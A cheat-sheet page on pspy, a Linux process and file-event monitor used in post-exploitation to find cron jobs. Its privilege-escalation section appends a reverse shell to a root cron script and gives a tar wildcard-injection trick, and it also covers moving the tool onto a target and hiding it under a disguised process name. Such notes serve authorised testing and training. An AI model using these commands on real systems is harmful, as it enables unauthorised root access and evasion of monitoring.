pspy
pspy monitors processes and filesystem events on Linux systems without requiring root access. It uses inotify to detect file changes and procfs scanning to identify running commands, making it invaluable for discovering cron jobs, scheduled tasks, and privilege escalation vectors during post-exploitation.
Installation
Abschnitt betitelt „Installation“Download Binary
Abschnitt betitelt „Download Binary“Grab the latest release from the GitHub releases page:
# Download pspy64 (64-bit systems)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
# Download pspy32 (32-bit systems)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32
chmod +x pspy32
Build from Source
Abschnitt betitelt „Build from Source“Requires Go 1.16+:
git clone https://github.com/DominicBreuker/pspy.git
cd pspy
go build -o pspy64 -ldflags="-s -w"
Alternative: Base64 Encoding (for transfer)
Abschnitt betitelt „Alternative: Base64 Encoding (for transfer)“# On attacker machine
base64 -w 0 pspy64 > pspy64.b64
# On target machine
echo "[base64-content]" | base64 -d > pspy64
chmod +x pspy64
Quick Start
Abschnitt betitelt „Quick Start“Basic Monitoring
Abschnitt betitelt „Basic Monitoring“# Default monitoring (all options enabled)
./pspy64
# Monitor with procfs scanning only
./pspy64 -p
# Monitor with filesystem events only
./pspy64 -f
Output Interpretation
Abschnitt betitelt „Output Interpretation“2026/04/17 14:23:45 CMD: UID=0 PID=1234 /usr/sbin/CRON -f
2026/04/17 14:23:46 FS: RENAME name=/var/log/auth.log.1
2026/04/17 14:23:47 CMD: UID=1000 PID=5678 /bin/bash /home/user/backup.sh
How It Works
Abschnitt betitelt „How It Works“inotify Filesystem Monitoring
Abschnitt betitelt „inotify Filesystem Monitoring“pspy watches for filesystem events using inotify, which doesn’t require root:
| Component | Description |
|---|---|
| inotify watches | Monitors /tmp, /etc, /home, /var, /usr by default |
| Event types | CREATE, WRITE, DELETE, CHMOD, RENAME, OPEN |
| No root required | Works as unprivileged user |
| Real-time detection | Catches file changes instantly |
procfs Scanning
Abschnitt betitelt „procfs Scanning“Continuously reads /proc to identify running processes:
# pspy scans /proc/[pid]/cmdline and /proc/[pid]/status
# Updates process list every interval (default: 100ms)
# Can catch short-lived processes if interval is low enough
Process Detection Method
Abschnitt betitelt „Process Detection Method“1. Read all /proc/[pid]/cmdline files
2. Compare with previous snapshot
3. Report new processes with UID and PID
4. Track process exit via /proc disappearance
Command Line Options
Abschnitt betitelt „Command Line Options“Scanning Options
Abschnitt betitelt „Scanning Options“| Flag | Description | Default |
|---|---|---|
-p | Enable procfs scanning | true |
-f | Enable filesystem events | true |
-i | procfs scan interval (ms) | 100 |
-d | Directories for procfs scanning | /proc |
-r | Directories to watch with inotify | /tmp:/etc:/home:/var:/usr |
-c | Colorize output | false |
--debug | Enable debug logging | false |
Advanced Usage
Abschnitt betitelt „Advanced Usage“# Low interval for catching short-lived processes
./pspy64 -i 50
# Color output
./pspy64 -c
# Custom watch directories
./pspy64 -r /var/www:/opt
# Debug mode
./pspy64 --debug
# Combined options
./pspy64 -p -f -c -i 75 -r /etc:/home
Identifying Cron Jobs
Abschnitt betitelt „Identifying Cron Jobs“Watch for Periodic Commands
Abschnitt betitelt „Watch for Periodic Commands“# Monitor for exactly 2 minutes (typical cron check interval)
./pspy64 -c | tee pspy.log
# Look for recurring patterns in timestamps
# Common patterns:
# - /usr/sbin/CRON -f (every minute if minutely cron)
# - /bin/sh -c (cron job execution)
# - /usr/bin/python /path/to/script.py (interpreted scripts)
Common Cron Processes
Abschnitt betitelt „Common Cron Processes“| Process | Meaning |
|---|---|
/usr/sbin/CRON -f | cron daemon checking for jobs |
/bin/sh -c [command] | cron executing a command |
/usr/sbin/anacron | anacron running delayed jobs |
run-parts /etc/cron.X | executing cron.daily/hourly/weekly |
Extract Cron Paths
Abschnitt betitelt „Extract Cron Paths“# Monitor output, note any scripts called repeatedly
./pspy64 -c | grep -E "(\.sh|\.py|\.pl)"
# Check if detected scripts are world-writable
ls -la /path/to/detected/script.sh
Privilege Escalation Vectors
Abschnitt betitelt „Privilege Escalation Vectors“Writable Cron Scripts
Abschnitt betitelt „Writable Cron Scripts“# pspy output shows: /root/backup.sh called as root
# Check if writable:
ls -la /root/backup.sh
# If writable, add reverse shell
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /root/backup.sh
World-Writable PATH Directories
Abschnitt betitelt „World-Writable PATH Directories“# If cron runs: /usr/bin/python check.py
# Check PATH traversal:
echo $PATH
# Look for writable dirs like /tmp, /var/tmp
ls -ld /tmp /var/tmp /usr/local/bin
Service Restarts with Writable Configs
Abschnitt betitelt „Service Restarts with Writable Configs“# pspy shows: /usr/sbin/service apache2 restart
# Check config file permissions:
ls -la /etc/apache2/apache2.conf
# If writable, inject malicious config
Wildcard Injection in Scheduled Tasks
Abschnitt betitelt „Wildcard Injection in Scheduled Tasks“# If cron runs: tar czf backup.tar.gz /var/www/*
# Create files in /var/www:
touch /var/www/--checkpoint=1
touch "/var/www/--checkpoint-action=exec=sh"
# tar expands wildcard and reads flags
Filesystem Event Monitoring
Abschnitt betitelt „Filesystem Event Monitoring“inotify Event Types
Abschnitt betitelt „inotify Event Types“| Event | Triggered by |
|---|---|
| CREATE | New file created |
| WRITE | File content modified |
| DELETE | File removed |
| CHMOD | Permissions changed |
| RENAME | File renamed |
| OPEN | File opened |
Watch Custom Directories
Abschnitt betitelt „Watch Custom Directories“# Monitor web application directory for changes
./pspy64 -r /var/www:/var/log/apache2
# Watch cron directories
./pspy64 -r /etc/cron.d:/etc/cron.daily:/etc/cron.hourly
# Monitor user home directories
./pspy64 -r /home:/root
Filter Events by Type
Abschnitt betitelt „Filter Events by Type“# Only show file creations
./pspy64 | grep "FS:.*CREATE"
# Only show process executions as root
./pspy64 | grep "UID=0.*CMD:"
# Exclude certain paths
./pspy64 | grep -v "/proc/"
Filtering Output
Abschnitt betitelt „Filtering Output“Grep for Specific Processes
Abschnitt betitelt „Grep for Specific Processes“# Only show root processes
./pspy64 | grep "UID=0"
# Find PHP execution
./pspy64 | grep php
# Monitor specific user
./pspy64 | grep "UID=33" # www-data on Debian
# Multiple filters
./pspy64 | grep "UID=0" | grep -E "(\.sh|\.py)"
Save to File for Analysis
Abschnitt betitelt „Save to File for Analysis“# Redirect output
./pspy64 > /tmp/pspy_output.txt 2>&1 &
# Monitor with tail
tail -f /tmp/pspy_output.txt
# Analyze after collection
grep "UID=0" /tmp/pspy_output.txt
Timestamp Analysis
Abschnitt betitelt „Timestamp Analysis“# Add dates for pattern analysis
date >> pspy.log && ./pspy64 >> pspy.log 2>&1 &
# Find periodic tasks (compare timestamps)
grep "backup.sh" pspy.log | head -5
# Calculate interval between runs
# Use awk to compute differences
awk '{print $2}' pspy.log | uniq -c
Transfer to Target
Abschnitt betitelt „Transfer to Target“wget (most common)
Abschnitt betitelt „wget (most common)“# If wget available
wget -O /tmp/pspy64 https://your.server/pspy64
chmod +x /tmp/pspy64
./pspy64
curl Alternative
Abschnitt betitelt „curl Alternative“curl -o /tmp/pspy64 https://your.server/pspy64
chmod +x /tmp/pspy64
Python HTTP Server
Abschnitt betitelt „Python HTTP Server“# Attacker machine
cd /path/to/pspy && python3 -m http.server 8000
# Target machine
wget http://attacker.ip:8000/pspy64 -O /tmp/pspy64
SCP Transfer
Abschnitt betitelt „SCP Transfer“scp pspy64 user@target:/tmp/
ssh user@target
chmod +x /tmp/pspy64
./pspy64
Base64 Encoding
Abschnitt betitelt „Base64 Encoding“# Attacker: encode binary
base64 -w 0 pspy64 && echo
# Target: decode and execute
echo "[base64_string]" | base64 -d > /tmp/pspy64
chmod +x /tmp/pspy64
Practical Examples
Abschnitt betitelt „Practical Examples“Finding Root Cron Jobs
Abschnitt betitelt „Finding Root Cron Jobs“# Run pspy64 in background
./pspy64 -c > /tmp/pspy.log 2>&1 &
# Wait 5-10 minutes for cron executions
sleep 600
# Analyze results
grep "UID=0" /tmp/pspy.log | grep -E "\.sh|\.py" | sort | uniq
# Check if any found scripts are writable
# Edit vulnerable scripts to gain root shell
Monitoring Backup Scripts
Abschnitt betitelt „Monitoring Backup Scripts“# Start monitoring
./pspy64 -i 50 -c | tee backup_monitor.log
# Look for:
# - tar/zip commands
# - rsync/cp operations
# - Database dumps (mysqldump, pg_dump)
# - Permission changes on archive files
# Typical output:
# 2026/04/17 02:15:00 CMD: UID=0 /usr/bin/tar czf /backup/data.tar.gz /home
Detecting Service Restarts
Abschnitt betitelt „Detecting Service Restarts“# Monitor for service commands
./pspy64 | grep -E "service|systemctl|/etc/init.d"
# Watch for dependency chains:
# - Apache restart → kills old processes → spawns new ones
# - Configuration reload → file changes → process restart
# - Log rotation → file movement → daemon reload
# Check if service config is writable
ls -la /etc/apache2/apache2.conf /etc/nginx/nginx.conf
Troubleshooting
Abschnitt betitelt „Troubleshooting“No Output Displayed
Abschnitt betitelt „No Output Displayed“# Ensure both scanning methods enabled
./pspy64 -p -f
# Verify inotify watches are working
cat /proc/sys/fs/inotify/max_user_watches
# If low, may need to increase (requires root or high limit)
# Check filesystem permissions
ls -la /tmp /etc /home
Missing Processes
Abschnitt betitelt „Missing Processes“# Increase scan frequency for faster detection
./pspy64 -i 50 # 50ms instead of default 100ms
# Enable debug mode to troubleshoot
./pspy64 --debug
# Check /proc accessibility
ls -la /proc/1/cmdline
High CPU Usage
Abschnitt betitelt „High CPU Usage“# Decrease scan frequency
./pspy64 -i 200 # Less frequent scans
# Disable filesystem events if not needed
./pspy64 -p # procfs scanning only
# Reduce watched directories
./pspy64 -r /etc:/home # Fewer paths to watch
Best Practices
Abschnitt betitelt „Best Practices“Stealth Monitoring
Abschnitt betitelt „Stealth Monitoring“# Run in background with redirected output
nohup ./pspy64 > /tmp/.pspy.log 2>&1 &
# Use non-standard directory name
cp pspy64 /tmp/system_monitor
./system_monitor -c > /dev/null 2>&1 &
# Monitor PID file for process resurrection
(./pspy64 &> /tmp/.monitor.log &) && echo $! > /tmp/.pid
Data Collection
Abschnitt betitelt „Data Collection“# Long-term monitoring (hours)
./pspy64 -c > /tmp/pspy_full.log 2>&1 &
# Let it run during business hours
# Analyze patterns afterward
grep "UID=0" /tmp/pspy_full.log | wc -l
Analyzing Results
Abschnitt betitelt „Analyzing Results“# Find unique commands run as root
grep "UID=0.*CMD:" pspy.log | awk '{print $NF}' | sort | uniq
# Find repeated executions (potential cron)
grep "UID=0.*CMD:" pspy.log | awk '{print $NF}' | sort | uniq -c | sort -rn
# Extract just the command paths
grep "CMD:" pspy.log | sed 's/.*CMD: //' | awk '{print $NF}' | sort | uniq
Related Tools
Abschnitt betitelt „Related Tools“| Tool | Purpose |
|---|---|
| LinPEAS | Automated privilege escalation enumeration (includes cron/suid/cap detection) |
| linux-exploit-suggester | Matches kernel/software versions to known exploits |
| Linux Smart Enumeration (LSE) | Manual enumeration focused on privilege escalation paths |
| ps auxww | Traditional process listing (root-privileged view limited) |
| watch | Monitor command output with periodic execution |
| auditd | Kernel-level audit logging (requires root access) |
| systemd-analyze | Analyze systemd startup time and unit dependencies |
pspy vs Alternatives
Abschnitt betitelt „pspy vs Alternatives“pspy64 → Unprivileged, real-time, filesystem + process events
LinPEAS → Comprehensive enumeration, suggests exploits
auditd → Kernel audit (root required), persistent logging
ps auxww → Static snapshot, no real-time monitoring
watch → Periodic command execution, no background monitoring